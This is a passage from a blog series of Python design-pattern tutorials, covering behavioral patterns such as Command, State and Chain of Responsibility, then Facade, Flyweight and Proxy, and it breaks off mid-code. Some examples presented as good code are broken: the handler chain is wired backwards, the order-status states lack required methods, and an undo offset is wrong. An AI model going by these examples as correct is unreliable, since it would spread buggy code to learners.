            self.editor.text[self.end:]
        )

    def undo(self):
        self.editor.text = (
            self.editor.text[:self.start] +
            self.original_text +
            self.editor.text[self.start + len(self.original_text) + 4:]
        )

# Invoker
class TextEditor:
    def __init__(self):
        self.text = ""
        self.history = []
        self.undo_stack = []

    def execute_command(self, command: Command):
        command.execute()
        self.history.append(command)

    def undo(self):
        if not self.history:
            return

        command = self.history.pop()
        command.undo()
        self.undo_stack.append(command)

    def redo(self):
        if not self.undo_stack:
            return

        command = self.undo_stack.pop()
        command.execute()
        self.history.append(command)

# Client code
editor = TextEditor()

# Execute commands
insert_cmd = InsertTextCommand(editor, "Hello ")
editor.execute_command(insert_cmd)
print(editor.text)  # "Hello "

insert_cmd2 = InsertTextCommand(editor, "World")
editor.execute_command(insert_cmd2)
print(editor.text)  # "Hello World"

delete_cmd = DeleteTextCommand(editor, 5)
editor.execute_command(delete_cmd)
print(editor.text)  # "Hello "

# Undo
editor.undo()
print(editor.text)  # "Hello World"

editor.undo()
print(editor.text)  # "Hello "

# Redo
editor.redo()
print(editor.text)  # "Hello World"

# Each command knows how to execute and undo itself
# Adding new commands is easy
# No special undo logic needed

Pros:

Decouples sender from receiver
Undo/redo become trivial
Easy to queue or schedule commands
Easy to log command history
Supports macros and composite commands

Cons:

More classes for each command
Memory overhead for storing commands
Can become complex with many commands

My Take:

Command is essential for any system with undo/redo, queuing, or transaction management.

The brilliance: Each action knows how to do itself and undo itself.

No need for centralized undo logic. Each command is responsible for its own reversal.

This is how professional text editors, design tools, and version control systems work.

4. State Pattern

The State pattern allows an object to alter its behavior when its internal state changes.

The object will appear to change its class.

Think about a traffic light:

Red → Green (can't go to Yellow directly)
Green → Yellow (can't go to Red directly)
Yellow → Red (can't go to Green directly)

Without State, you have giant conditionals:

if self.state == "red":
    # Red behavior
elif self.state == "yellow":
    # Yellow behavior
elif self.state == "green":
    # Green behavior

With State, each state is a separate object that knows what it can do.

When to use it:

State machines (traffic lights, orders, workflows)
UI state management
Game states (menu, playing, paused, game over)
Order status (pending, processing, shipped, delivered)
Connection states (connecting, connected, disconnected)
User states (logged out, logged in, admin)

Bad code (without pattern)

class TrafficLight:
    def __init__(self):
        self.state = "red"

    def next(self):
        if self.state == "red":
            self.state = "green"
            print("🟢 Green light")
        elif self.state == "green":
            self.state = "yellow"
            print("🟡 Yellow light")
        elif self.state == "yellow":
            self.state = "red"
            print("🔴 Red light")

    def can_proceed(self):
        if self.state == "red":
            return False
        elif self.state == "yellow":
            return False
        elif self.state == "green":
            return True

    def get_description(self):
        if self.state == "red":
            return "Stop"
        elif self.state == "yellow":
            return "Prepare to stop"
        elif self.state == "green":
            return "Go"

# Problems:
# - Conditional logic everywhere
# - Hard to add new states
# - Logic is mixed with state data
# - Transitions aren't clear

Good code (with State)

from abc import ABC, abstractmethod

# State interface
class TrafficLightState(ABC):
    @abstractmethod
    def next(self, context):
        pass

    @abstractmethod
    def can_proceed(self):
        pass

    @abstractmethod
    def get_description(self):
        pass

# Concrete states
class RedLightState(TrafficLightState):
    def next(self, context):
        context.set_state(GreenLightState())
        print("🟢 Green light")

    def can_proceed(self):
        return False

    def get_description(self):
        return "Stop"

class GreenLightState(TrafficLightState):
    def next(self, context):
        context.set_state(YellowLightState())
        print("🟡 Yellow light")

    def can_proceed(self):
        return True

    def get_description(self):
        return "Go"

class YellowLightState(TrafficLightState):
    def next(self, context):
        context.set_state(RedLightState())
        print("🔴 Red light")

    def can_proceed(self):
        return False

    def get_description(self):
        return "Prepare to stop"

# Context
class TrafficLight:
    def __init__(self):
        self._state = RedLightState()

    def set_state(self, state: TrafficLightState):
        self._state = state

    def next(self):
        self._state.next(self)

    def can_proceed(self):
        return self._state.can_proceed()

    def get_description(self):
        return self._state.get_description()

# Client code
light = TrafficLight()
print(light.get_description())  # Stop
print(light.can_proceed())  # False

light.next()
print(light.get_description())  # Go
print(light.can_proceed())  # True

light.next()
print(light.get_description())  # Prepare to stop

light.next()
print(light.get_description())  # Stop

# Adding new state? Just create a new class
# No modifications to existing code

Real-World Example: Order Status

class PendingState(TrafficLightState):
    def next(self, context):
        context.set_state(ProcessingState())

class ProcessingState(TrafficLightState):
    def next(self, context):
        context.set_state(ShippedState())

class ShippedState(TrafficLightState):
    def next(self, context):
        context.set_state(DeliveredState())

class DeliveredState(TrafficLightState):
    def next(self, context):
        pass  # Terminal state

# Each state knows valid transitions
# Business logic is clear

Pros:

Eliminates large conditional statements
Each state is a separate class
Easy to add new states
State transitions are explicit
Follows Single Responsibility

Cons:

More classes
Slight performance overhead
Can be overkill for simple cases

My Take:

State is perfect for anything with multiple states and transitions.

E-commerce orders, game loops, connection handling, authentication flows—they all benefit from State.

The key insight: If you have state-dependent behavior, make each state a class.

This makes transitions explicit, state logic local, and new states easy to add.

5. Template Method Pattern

The Template Method pattern defines the skeleton of an algorithm in a method, deferring some steps to subclasses.

It lets subclasses redefine certain steps without changing the algorithm's structure.

Think about making different beverages:

1. Boil water
2. Brew the drink material
3. Pour in cup
4. Add condiments

The structure is the same for tea and coffee. Only steps 2 and 4 differ.

When to use it:

Algorithms with common structure but varying details
Beverage makers (tea vs coffee)
Data processing pipelines
Document generation
Game loops
Testing frameworks
Build processes

Bad code (without pattern)

class CoffeeRecipe:
    def prepare_coffee(self):
        self.boil_water()
        self.brew_coffee()
        self.pour_cup()
        self.add_sugar()
        self.add_cream()

class TeaRecipe:
    def prepare_tea(self):
        self.boil_water()
        self.brew_tea()
        self.pour_cup()
        self.add_honey()
        self.add_lemon()

# Code duplication: boil_water, pour_cup
# Method names are inconsistent
# Client needs to know which method to call

Good code (with Template Method)

from abc import ABC, abstractmethod

class Beverage(ABC):
    # Template method: defines algorithm structure
    def prepare(self):
        self.boil_water()
        self.brew()
        self.pour_cup()
        self.add_condiments()

    def boil_water(self):
        print("Boiling water...")

    def pour_cup(self):
        print("Pouring into cup...")

    # Hook methods: subclasses override these
    @abstractmethod
    def brew(self):
        pass

    @abstractmethod
    def add_condiments(self):
        pass

class Coffee(Beverage):
    def brew(self):
        print("Brewing fresh coffee...")

    def add_condiments(self):
        print("Adding sugar and cream...")

class Tea(Beverage):
    def brew(self):
        print("Brewing tea...")

    def add_condiments(self):
        print("Adding honey and lemon...")

class HotChocolate(Beverage):
    def brew(self):
        print("Mixing cocoa with hot water...")

    def add_condiments(self):
        print("Adding whipped cream and marshmallows...")

# Client code
def make_beverage(beverage: Beverage):
    beverage.prepare()  # Same method for all beverages

print("Coffee:")
make_beverage(Coffee())

print("\nTea:")
make_beverage(Tea())

print("\nHot Chocolate:")
make_beverage(HotChocolate())

# Algorithm structure is defined once
# Subclasses only implement what's different

Real-World Example: Data Processing

class DataProcessor(ABC):
    def process(self, filename):
        data = self.read_file(filename)
        data = self.validate(data)
        data = self.transform(data)
        self.save_results(data)

    @abstractmethod
    def read_file(self, filename):
        pass

    @abstractmethod
    def validate(self, data):
        pass

    @abstractmethod
    def transform(self, data):
        pass

    def save_results(self, data):
        print("Saving results...")

class CSVProcessor(DataProcessor):
    def read_file(self, filename):
        print(f"Reading CSV: {filename}")
        return ["row1", "row2"]

    def validate(self, data):
        print("Validating CSV format...")
        return data

    def transform(self, data):
        print("Transforming CSV to objects...")
        return data

class JSONProcessor(DataProcessor):
    def read_file(self, filename):
        print(f"Reading JSON: {filename}")
        return [{"key": "value"}]

    def validate(self, data):
        print("Validating JSON schema...")
        return data

    def transform(self, data):
        print("Transforming JSON to objects...")
        return data

# Same process for any format
csv = CSVProcessor()
csv.process("data.csv")

json = JSONProcessor()
json.process("data.json")

Pros:

Eliminates code duplication
Defines algorithm structure once
Makes it easy to add variants
Follows DRY principle
Subclasses only implement what's different

Cons:

Can be rigid if algorithm changes
Subclasses can't fully control behavior
Can be harder to understand flow

My Take:

Template Method is excellent for reducing duplication when you have multiple implementations of similar processes.

Any time you see: "The process is mostly the same, but steps 2 and 4 are different," think Template Method.

It's used everywhere:

Django views inherit from base views
Testing frameworks have setup/teardown hooks
Build tools have standard phases
Game engines have game loops

The key insight: Define the algorithm's skeleton once, let subclasses fill in the details.

6. Chain of Responsibility Pattern

The Chain of Responsibility pattern passes requests along a chain of handlers.

Each handler decides either to process the request or pass it to the next handler.

Think about a support ticket system:

Level 1 Support → Can't resolve?
  ↓
Level 2 Support → Can't resolve?
  ↓
Level 3 Support → Can't resolve?
  ↓
Manager

Each handler tries to solve it. If they can't, they pass it to the next handler.

When to use it:

Support ticket escalation
Logging with multiple levels
Request validation (multiple checks)
Event handling (parent nodes pass to children)
Middleware chains
Approval workflows
Exception handling

Bad code (without pattern)

class SupportTicket:
    def __init__(self, issue, priority):
        self.issue = issue
        self.priority = priority
        self.resolved = False

def handle_ticket(ticket):
    # Giant conditional chain
    if ticket.priority == 1:
        if level1_can_handle(ticket):
            print(f"Level 1 resolved: {ticket.issue}")
            ticket.resolved = True
        else:
            # Pass to level 2
            if level2_can_handle(ticket):
                print(f"Level 2 resolved: {ticket.issue}")
                ticket.resolved = True
            else:
                # Pass to level 3
                if level3_can_handle(ticket):
                    print(f"Level 3 resolved: {ticket.issue}")
                    ticket.resolved = True
                else:
                    print("Manager will handle")
    elif ticket.priority == 2:
        # Different logic for priority 2
        pass

# Problems:
# - Nested conditionals
# - Hard to add new levels
# - Logic is tightly coupled

Good code (with Chain of Responsibility)

from abc import ABC, abstractmethod

class SupportHandler(ABC):
    def __init__(self, next_handler=None):
        self.next_handler = next_handler

    def handle_ticket(self, ticket):
        if self.can_handle(ticket):
            self.resolve(ticket)
        elif self.next_handler:
            self.next_handler.handle_ticket(ticket)
        else:
            print(f"No one could handle: {ticket.issue}")

    @abstractmethod
    def can_handle(self, ticket):
        pass

    @abstractmethod
    def resolve(self, ticket):
        pass

class Level1Support(SupportHandler):
    def can_handle(self, ticket):
        return ticket.priority <= 2

    def resolve(self, ticket):
        print(f"Level 1 resolved: {ticket.issue}")
        ticket.resolved = True

class Level2Support(SupportHandler):
    def can_handle(self, ticket):
        return ticket.priority <= 3

    def resolve(self, ticket):
        print(f"Level 2 resolved: {ticket.issue}")
        ticket.resolved = True

class Level3Support(SupportHandler):
    def can_handle(self, ticket):
        return ticket.priority <= 4

    def resolve(self, ticket):
        print(f"Level 3 resolved: {ticket.issue}")
        ticket.resolved = True

class Manager(SupportHandler):
    def can_handle(self, ticket):
        return True  # Manager can handle anything

    def resolve(self, ticket):
        print(f"Manager resolved: {ticket.issue}")
        ticket.resolved = True

# Build the chain
level1 = Level1Support()
level2 = Level2Support(level1)
level3 = Level3Support(level2)
manager = Manager(level3)

# Start with level1 (or any handler in the chain)
class SupportTicket:
    def __init__(self, issue, priority):
        self.issue = issue
        self.priority = priority
        self.resolved = False

# Handle tickets
ticket1 = SupportTicket("Can't login", priority=1)
level1.handle_ticket(ticket1)  # Level 1 handles it

ticket2 = SupportTicket("Database corruption", priority=4)
level1.handle_ticket(ticket2)  # Escalates through chain to Manager

ticket3 = SupportTicket("Slow performance", priority=3)
level1.handle_ticket(ticket3)  # Level 3 handles it

# Add new handler? Just insert in the chain
# No modifications to existing handlers

Real-World Example: Logging Levels

class Logger(ABC):
    def __init__(self, next_logger=None):
        self.next_logger = next_logger

    def log(self, level, message):
        if self.should_log(level):
            self.write(message)

        if self.next_logger:
            self.next_logger.log(level, message)

    @abstractmethod
    def should_log(self, level):
        pass

    @abstractmethod
    def write(self, message):
        pass

class ConsoleLogger(Logger):
    def should_log(self, level):
        return level >= 1

    def write(self, message):
        print(f"Console: {message}")

class FileLogger(Logger):
    def should_log(self, level):
        return level >= 2

    def write(self, message):
        print(f"File: {message}")

class ErrorLogger(Logger):
    def should_log(self, level):
        return level >= 3

    def write(self, message):
        print(f"Error Alert: {message}")

# Build chain
console = ConsoleLogger()
file = FileLogger(console)
error = ErrorLogger(file)

# Log at different levels
error.log(1, "Info message")  # Logged by console
error.log(2, "Warning message")  # Logged by console and file
error.log(3, "Error message")  # Logged by all

Pros:

Decouples senders from receivers
Easy to add/remove handlers
Flexible composition of handlers
Follows Single Responsibility

Cons:

No guarantee request is handled
Harder to debug request flow
Can impact performance with many handlers

My Take:

Chain of Responsibility is perfect for anything involving escalation or filtering.

You use it constantly:

Middleware in web frameworks (Django, Flask)
Event propagation in UI systems
Logging systems with multiple outputs
Validation chains checking multiple conditions
Request processing pipelines

The key insight: Pass the request down the chain until someone handles it.

7. Iterator Pattern

The Iterator pattern provides a way to access elements of a collection sequentially without exposing its underlying representation.

Think about how you loop through lists in Python:

for item in items:
    print(item)

You don't care whether items is a list, set, database cursor, or generator.

The iteration mechanism is hidden.

That's Iterator.

When to use it:

Traversing complex collections
Tree structures
Database cursors
Streaming data
Paginated APIs
Graph traversal

Bad code (without pattern)

class BookCollection:
    def __init__(self):
        self.books = []

    def get_book(self, index):
        return self.books[index]

library = BookCollection()

for i in range(len(library.books)):
    print(library.get_book(i))

Problems:

Client depends on internal structure
Traversal logic is duplicated
Changing storage breaks clients

Good code (with Iterator)

class BookCollection:
    def __init__(self):
        self._books = []

    def add(self, book):
        self._books.append(book)

    def __iter__(self):
        return iter(self._books)

library = BookCollection()

library.add("Clean Code")
library.add("Design Patterns")
library.add("Refactoring")

for book in library:
    print(book)

Pros:

Hides collection implementation
Simplifies traversal
Supports multiple traversal strategies

Cons:

Extra abstraction layer
Can be unnecessary for simple collections

My Take:

Python gives you Iterator for free with __iter__() and generators.

Every time you use for item in collection, you're using Iterator.

The key insight: Expose data through iteration, not indexes.

8. Mediator Pattern

The Mediator pattern defines an object that encapsulates how other objects interact.

Instead of objects talking directly to each other, they communicate through a central mediator.

Think about an air traffic control tower.

Pilots don't communicate with every other plane.

They talk to the tower.

The tower coordinates everything.

When to use it:

Chat applications
UI components
Workflow orchestration
Microservice coordination
Event hubs
Air traffic systems

Bad code (without pattern)

class User:
    def __init__(self, name):
        self.name = name
        self.contacts = []

    def send(self, message):
        for contact in self.contacts:
            contact.receive(message)

    def receive(self, message):
        print(message)

Problems:

Objects become tightly coupled.
Every participant must know about others.
Communication logic is duplicated.
Adding new participants requires updating existing code.
Interaction flows become difficult to maintain.

Good code (with Mediator)

from abc import ABC, abstractmethod

class ChatMediator(ABC):
    @abstractmethod
    def send(self, message, sender):
        pass


class ChatRoom(ChatMediator):
    def __init__(self):
        self.users = []

    def add_user(self, user):
        self.users.append(user)

    def send(self, message, sender):
        for user in self.users:
            if user != sender:
                user.receive(message)


class User:
    def __init__(self, name, mediator):
        self.name = name
        self.mediator = mediator

    def send(self, message):
        self.mediator.send(
            f"{self.name}: {message}",
            self
        )

    def receive(self, message):
        print(message)

Pros:

Reduces coupling
Centralizes communication logic
Easier to maintain interactions

Cons:

Mediator can become a god object

My Take:

The key insight: Replace many-to-many communication with one-to-many communication through a coordinator.

9. Memento Pattern

The Memento pattern captures and externalizes an object's internal state so it can be restored later.

Think about:

Undo/redo
Game saves
Checkpoints
Snapshots
Database transactions

When to use it:

Save functionality
Version history
Rollbacks
Checkpoint systems

Bad code (without pattern) — Memento

class Editor:
    def __init__(self):
        self.text = ""
        self.history = []

    def write(self, text):
        self.text += text

    def save(self):
        self.history.append(self.text)

    def undo(self):
        if self.history:
            self.text = self.history.pop()

usage = Editor()

usage.write("Hello ")
usage.save()

usage.write("World")
usage.save()

usage.undo()

print(usage.text)

Problems:

The editor manages both editing and history tracking.
Internal state is exposed directly.
Undo logic is tightly coupled to the editor.
Difficult to support advanced features like redo, snapshots, or branching history.
Violates the Single Responsibility Principle.

Good code (with Memento)

class EditorMemento:
    def __init__(self, text):
        self._text = text

    def get_state(self):
        return self._text


class Editor:
    def __init__(self):
        self.text = ""

    def write(self, text):
        self.text += text

    def save(self):
        return EditorMemento(self.text)

    def restore(self, memento):
        self.text = memento.get_state()


class History:
    def __init__(self):
        self._states = []

    def push(self, memento):
        self._states.append(memento)

    def pop(self):
        return self._states.pop()

Pros:

Encapsulates object state
Simplifies rollback
Supports history management

Cons:

Can consume memory
Expensive for large objects

My Take:

Command + Memento is how professional editors implement undo systems.

The key insight: Save snapshots instead of reverse-engineering state changes.

10. Visitor Pattern

The Visitor pattern lets you add new operations to existing object structures without modifying those objects.

Think about a file system:

Calculate size
Export data
Validate structure
Generate reports

You don't want to keep modifying file classes every time.

When to use it:

Stable object structures
Multiple unrelated operations
Reporting systems
Compilers
AST processing

Bad code (without pattern) — Visitor

class ImageFile:
    def __init__(self, size):
        self.size = size

    def calculate_size(self):
        return self.size

    def export_json(self):
        return {
            "type": "image",
            "size": self.size
        }

    def validate(self):
        return self.size > 0


class VideoFile:
    def __init__(self, size):
        self.size = size

    def calculate_size(self):
        return self.size

    def export_json(self):
        return {
            "type": "video",
            "size": self.size
        }

    def validate(self):
        return self.size > 0

Problems:

Classes grow endlessly.
Adding new operations requires changing existing code.
Violates the Open/Closed Principle.
Business logic becomes scattered across domain objects.
High risk of introducing bugs when adding features.

Good code (with Visitor)

from abc import ABC, abstractmethod

class Visitor(ABC):
    @abstractmethod
    def visit_file(self, file):
        pass


class FileElement(ABC):
    @abstractmethod
    def accept(self, visitor):
        pass


class ImageFile(FileElement):
    def __init__(self, size):
        self.size = size

    def accept(self, visitor):
        visitor.visit_file(self)


class SizeVisitor(Visitor):
    def __init__(self):
        self.total = 0

    def visit_file(self, file):
        self.total += file.size

Pros:

Add new operations easily
Keeps domain objects clean
Follows Open/Closed Principle

Cons:

Hard to add new element types
More complex syntax

My Take:

Visitor is common in compilers, parsers, and AST processing.

The key insight: When your data structure is stable but operations change frequently, use Visitor.

11. Interpreter Pattern

The Interpreter pattern defines a grammar for a language and provides an interpreter to evaluate sentences in that language.

In simple terms:

It lets you build your own mini-language.

Think about:

Search query syntax (status:open AND priority:high)
Mathematical expressions (5 + 3 * 2)
Rule engines (age > 18 AND country == "US")
SQL-like filters
Domain-Specific Languages (DSLs)

Instead of hardcoding endless conditionals, you represent rules as objects that can interpret themselves.

When to use it:

Expression evaluators
Rule engines
Query parsers
Configuration languages
DSLs
Compilers and parsers

Bad code (without pattern)

def evaluate(rule, context):
    if rule == "is_admin":
        return context["role"] == "admin"

    elif rule == "is_premium":
        return context["subscription"] == "premium"

    elif rule == "is_adult":
        return context["age"] >= 18

    # This keeps growing forever...

Problems:

Giant conditional statements
Hard to extend
Business rules are scattered
No composability

Good code (with Interpreter)

from abc import ABC, abstractmethod


class Expression(ABC):
    @abstractmethod
    def interpret(self, context):
        pass


class GreaterThan(Expression):
    def __init__(self, field, value):
        self.field = field
        self.value = value

    def interpret(self, context):
        return context[self.field] > self.value


class Equals(Expression):
    def __init__(self, field, value):
        self.field = field
        self.value = value

    def interpret(self, context):
        return context[self.field] == self.value


class And(Expression):
    def __init__(self, left, right):
        self.left = left
        self.right = right

    def interpret(self, context):
        return (
            self.left.interpret(context)
            and self.right.interpret(context)
        )


# Build expression:
# age > 18 AND subscription == "premium"

rule = And(
    GreaterThan("age", 18),
    Equals("subscription", "premium")
)

user = {
    "age": 25,
    "subscription": "premium"
}

print(rule.interpret(user))  # True

Pros:

Easy to add new expressions
Business rules become composable
Grammar is explicit
Follows Open/Closed Principle

Cons:

Creates many small classes
Can become complex for large grammars
Performance overhead for deep expression trees

My Take:

Interpreter is one of the least-used GoF patterns in everyday application development.

Most developers use existing libraries instead of building interpreters from scratch.

But you'll see it everywhere under the hood:

SQL parsers
Regex engines
Elasticsearch queries
GraphQL resolvers
Policy engines
Template engines

The key insight: If users need to express rules dynamically, create a language instead of adding more conditionals.

Comparison Table

Pattern	Purpose	Complexity	When to Use
Strategy	Choose algorithm at runtime	Low	Multiple ways to do same thing
Observer	Notify multiple objects of state changes	Medium	Event systems, real-time updates
Command	Encapsulate requests as objects	Medium	Undo/redo, queuing, logging
State	Change behavior based on internal state	Medium	State machines, workflows
Template Method	Define algorithm structure in base class	Low	Similar algorithms with different steps
Chain of Resp.	Pass requests through handler chain	Medium	Escalation, filtering, middleware
Iterator	Traverse collections	Low	Custom collections
Mediator	Coordinate object interactions	Medium	Complex communication
Memento	Save and restore state	Medium	Snapshots, rollback
Visitor	Add operations to objects	High	ASTs, reporting
Interpreter	Define and evaluate grammar	High	DSLs, rule engines

Key Takeaways

Strategy — Choose behavior dynamically
Observer — React to state changes automatically
Command — Encapsulate and queue requests
State — Manage complex state transitions clearly
Template Method — Share algorithm structure, differ in details
Chain of Responsibility — Escalate through handlers
Iterator — Traverse collections consistently
Mediator — Centralize communication
Memento — Save and restore state
Visitor — Add operations without modifying classes
Interpreter — Build and evaluate custom rules

The Golden Rule of Behavioral Patterns:

Make object interaction explicit. Don't hide behavior in conditionals.

When you find yourself writing giant if-elif chains or scattered event handling, a behavioral pattern is probably the answer.

Design Patterns Complete Series

Creational Patterns — How to create objects properly
Structural Patterns - Part 1 — Adapter, Bridge, Composite, Decorator
Structural Patterns - Part 2 — Facade, Flyweight, Proxy
Behavioral Patterns (This Article) — How objects communicate

Want More Deep Dives?

If you enjoyed this article, check out my other production-focused guides:

Message Brokers in 2026: Kafka, RabbitMQ, NATS — Architecture decisions
OWASP Top 10 for Developers (2026 Edition) — Security patterns
Injection Attacks Are Not Dead — Attack patterns and solutions
Durable Workflow Engines: Temporal vs dbt OS — System patterns

🔗 LinkedIn: https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram: https://telegram.me/mahdi0shamlou
📸 Instagram: https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Mahdi Shamlou | Structural Design Patterns 2026: Facade, Flyweight, Proxy — Production Examples

Mahdi SHamlou | مهدی شاملو — Sun, 14 Jun 2026 19:32:48 +0000

Mahdi Shamlou here.

Welcome back to the Structural Design Patterns series.

In Part 1, we explored:

Adapter — Making incompatible systems work together
Bridge — Decoupling abstraction from implementation
Composite — Building tree structures elegantly
Decorator — Adding behavior without modification

Now it's time for the final three structural patterns that will complete your arsenal.

These patterns solve different but equally important problems:

Simplifying complex systems (Facade)
Saving memory with shared objects (Flyweight)
Controlling access to objects (Proxy)

Let's dive into the code.

Part 2: The Final Structural Patterns

5. Facade Pattern

The Facade pattern provides a unified, simplified interface to a set of interfaces in a subsystem.

It's about hiding complexity behind a simple interface.

Imagine using a movie theater. Behind the scenes:

The lights need to dim
The sound system needs to adjust
The projector needs to start
The curtains need to open
The audience needs to settle

Without Facade, the client would interact with all these systems directly:

lights.dim()
sound_system.set_volume(50)
projector.start()
curtains.open()

With Facade, the client just calls:

theater.watch_movie()

When to use it:

Simplifying complex subsystems
Decoupling clients from subsystem components
Creating a simple entry point to a complex system
Legacy system integration
Providing a versioning layer
API simplification

Bad code (without pattern)

# Complex subsystem with many classes
class Lights:
    def dim(self, percentage):
        return f"Lights dimmed to {percentage}%"

class SoundSystem:
    def set_volume(self, level):
        return f"Volume set to {level}"

    def enable_surround(self):
        return "Surround sound enabled"

class Projector:
    def turn_on(self):
        return "Projector is on"

    def set_resolution(self, resolution):
        return f"Resolution set to {resolution}"

class Curtains:
    def open(self):
        return "Curtains opening"

    def close(self):
        return "Curtains closing"

class PopcornMachine:
    def start(self):
        return "Popcorn machine started"

# Client needs to know about all these systems
def watch_movie():
    lights = Lights()
    sound = SoundSystem()
    projector = Projector()
    curtains = Curtains()
    popcorn = PopcornMachine()

    print(lights.dim(30))
    print(sound.set_volume(70))
    print(sound.enable_surround())
    print(projector.turn_on())
    print(projector.set_resolution("4K"))
    print(curtains.open())
    print(popcorn.start())
    # 7 steps for a simple action!

watch_movie()

The problem: Too many details. The client needs to understand the entire theater system.

Good code (with Facade)

# Keep the complex subsystem (same as before)
class Lights:
    def dim(self, percentage):
        return f"Lights dimmed to {percentage}%"

class SoundSystem:
    def set_volume(self, level):
        return f"Volume set to {level}"

    def enable_surround(self):
        return "Surround sound enabled"

class Projector:
    def turn_on(self):
        return "Projector is on"

    def set_resolution(self, resolution):
        return f"Resolution set to {resolution}"

class Curtains:
    def open(self):
        return "Curtains opening"

class PopcornMachine:
    def start(self):
        return "Popcorn machine started"

# Facade: Single entry point
class TheaterFacade:
    def __init__(self):
        self.lights = Lights()
        self.sound = SoundSystem()
        self.projector = Projector()
        self.curtains = Curtains()
        self.popcorn = PopcornMachine()

    def watch_movie(self):
        """Simple interface hides complexity"""
        print(self.lights.dim(30))
        print(self.sound.set_volume(70))
        print(self.sound.enable_surround())
        print(self.projector.turn_on())
        print(self.projector.set_resolution("4K"))
        print(self.curtains.open())
        print(self.popcorn.start())
        print("\n🎬 Movie starting!\n")

    def end_movie(self):
        """Cleanup is also simplified"""
        print(self.curtains.open())  # Actually should close, but you get the idea
        print(self.lights.dim(100))  # Lights back to normal
        print("Theater ready for next showing")

# Client code is simple
theater = TheaterFacade()
theater.watch_movie()
theater.end_movie()

Pros:

Simplifies client code dramatically
Decouples clients from subsystem details
Makes the system easier to use
Can provide different facades for different needs
Good for versioning and API design

Cons:

Facade can become a "god object" if it does too much
Clients lose fine-grained control
Can hide important details when you need them
Adds another layer of indirection

My Take:

Facade is one of the most practical patterns in the real world.

Every well-designed library, framework, and API uses Facade principles. Flask, Django, FastAPI—they all provide simple interfaces on top of complex systems.

If your subsystem is growing complex and forcing clients to understand many classes, Facade is the answer.

But don't overuse it. One Facade is good. Ten Facades means your architecture is messy.

6. Flyweight Pattern

The Flyweight pattern uses sharing to support large numbers of fine-grained objects efficiently.

When you have thousands (or millions) of similar objects, you can't afford to create each one from scratch.

Flyweight extracts the shared, immutable data (intrinsic state) from the unique, changeable data (extrinsic state).

Classic example: A text editor with millions of characters.

Each character has:

Intrinsic state (never changes): Font family, size, style
Extrinsic state (changes): Position, color for this specific instance

Instead of storing both in each character object, flyweight stores intrinsic state once and shares it.

When to use it:

Managing large numbers of similar objects
Memory optimization is critical
Game development (particles, trees, NPCs)
Text editors with millions of characters
Caches and object pools
UI rendering of repeated elements

Bad code (without pattern)

# Without Flyweight, each character object stores everything
class Character:
    def __init__(self, char, font, size, color, x, y):
        self.char = char
        self.font = font  # Repeated thousands of times
        self.size = size  # Repeated thousands of times
        self.color = color  # Same for all red text
        self.x = x  # Unique per character
        self.y = y  # Unique per character

# Creating a document with 100,000 characters
document = []
for i in range(100000):
    # Each character duplicates font and size information
    char = Character(
        chr(ord('A') + (i % 26)),
        font="Arial",  # Repeated 100,000 times!
        size=12,  # Repeated 100,000 times!
        color="black",  # Repeated 100,000 times!
        x=i % 100,
        y=i // 100
    )
    document.append(char)

# Memory usage: Massive waste from duplication

The problem: Redundant data stored in every object.

Good code (with Flyweight)

# Intrinsic state: Shared and immutable
class CharacterStyle:
    def __init__(self, font, size, color):
        self.font = font
        self.size = size
        self.color = color

    def __eq__(self, other):
        return (self.font == other.font and 
                self.size == other.size and 
                self.color == other.color)

    def __hash__(self):
        return hash((self.font, self.size, self.color))

# Flyweight Factory: Ensures only one instance per unique intrinsic state
class StyleFactory:
    _styles = {}

    @staticmethod
    def get_style(font, size, color):
        style = CharacterStyle(font, size, color)

        # Return existing style if we've seen it before
        if style not in StyleFactory._styles:
            StyleFactory._styles[style] = style

        return StyleFactory._styles[style]

# Extrinsic state: Unique per instance
class Character:
    def __init__(self, char, style, x, y):
        self.char = char
        self.style = style  # Shared reference
        self.x = x  # Unique
        self.y = y  # Unique

    def render(self):
        return f"{self.char} at ({self.x}, {self.y}) in {self.style.font}"

# Client code
document = []
style_factory = StyleFactory()

for i in range(100000):
    # All characters share the same Arial/12/black style
    style = style_factory.get_style("Arial", 12, "black")

    char = Character(
        chr(ord('A') + (i % 26)),
        style,  # Shared, not duplicated
        x=i % 100,
        y=i // 100
    )
    document.append(char)

# Check memory efficiency
arial_12_black = style_factory.get_style("Arial", 12, "black")
arial_12_blue = style_factory.get_style("Arial", 12, "blue")
arial_12_black_again = style_factory.get_style("Arial", 12, "black")

print(arial_12_black is arial_12_black_again)  # True - same object in memory
print(arial_12_black is arial_12_blue)  # False - different style

Pros:

Dramatically reduces memory usage for many similar objects
Improves performance through object sharing
Single source of truth for shared data
Works well with object pooling

Cons:

Added complexity with intrinsic/extrinsic separation
Thread safety considerations for factories
Debugging can be trickier with shared objects
Only valuable for large-scale scenarios

My Take:

Flyweight is not an everyday pattern. You use it when:

You have many objects (thousands or millions)
Memory usage is actually a problem (not hypothetical)
Most of the data is redundant

Don't prematurely optimize. Start without Flyweight. When profiling shows memory as the bottleneck with repeated objects, then implement it.

Real-world examples:

Game engines: Particles (thousands of trees, rocks, bullets)
Web browsers: DOM nodes (thousands of same-styled elements)
Text editors: Character objects
Cache systems: Pooled objects

If you're not handling thousands of objects, Flyweight adds complexity for minimal benefit.

7. Proxy Pattern

The Proxy pattern provides a surrogate or placeholder for another object to control access to it.

A proxy sits between the client and the real object, intercepting all interactions.

Proxies can:

Lazy load — Create expensive objects only when needed
Control access — Allow/deny based on permissions
Log and monitor — Track all access
Cache — Return cached results
Remote access — Access objects across the network

Think about loading an image. You don't want to load the full 10MB image until the user actually views it.

A Proxy can delay loading until necessary.

When to use it:

Lazy initialization of expensive objects
Access control and permissions
Logging and monitoring
Caching
Remote objects (RPC, REST APIs)
Validation before real operations
Throttling or rate limiting

Bad code (without pattern)

# Image loading happens immediately, even if not viewed
class Image:
    def __init__(self, url):
        self.url = url
        # Expensive operation
        self.data = self.load_from_url(url)
        print(f"Image loaded: {url}")

    def load_from_url(self, url):
        # Simulate expensive loading
        print(f"Loading {url}... (this takes time!)")
        return "image_data_10mb"

    def display(self):
        print(f"Displaying {self.data}")

# Client code forces loading immediately
def show_webpage():
    images = []
    for i in range(100):
        # All 100 images load immediately
        image = Image(f"http://example.com/image{i}.jpg")
        images.append(image)

    # User only views 3 images, but all 100 were loaded!
    print("Displaying first 3 images:")
    images[0].display()
    images[1].display()
    images[2].display()

show_webpage()

The problem: All images load eagerly, even if never viewed.

Good code (with Proxy)

# Real image class
class RealImage:
